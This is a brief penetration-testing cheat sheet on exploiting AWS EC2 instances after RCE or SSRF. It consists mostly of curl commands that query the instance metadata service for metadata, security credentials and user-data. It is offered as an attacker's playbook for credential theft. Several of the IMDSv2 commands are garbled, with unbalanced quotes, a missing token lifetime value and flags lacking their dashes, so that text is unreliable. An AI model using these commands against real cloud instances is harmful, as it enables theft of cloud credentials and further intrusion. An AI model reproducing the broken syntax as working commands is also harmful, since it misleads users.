# Exploitation

## AWS EC2 Exploitation

#### Initial Access can happen by RCE or SSRF

#### Metadata can be used to exfiltrate information from the instance

## Remote Code Execution

### AWS Metadata

#### If we have remote code execution or SSRF, we can grab metadata information

```
curl http://169.254.169.254/latest/meta-data
```

#### Grabbing the keys to access the instance

```
curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials
```

#### Grabbing the keys in metadata version 2

```
TOKEN='curl -X PUT "http://169.254.169.254/latest/ api /token" -H "X-aws-ec2-metadata-token-ttl-seconds:' && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data
```

### AWS Userdata

#### Version 1

```
curl http://169.254.169.254/latest/user-data/
```

#### Version 2

```
TOKEN='curl -X PUT "http://169.254.169.254/latest/ api /token" H "X-aws-ec2-metadata-token-ttl-seconds: && curl H "X-aws-ec2-metadata-token: $TOKEN" v http://169.254.169.254/latest/user-data
```
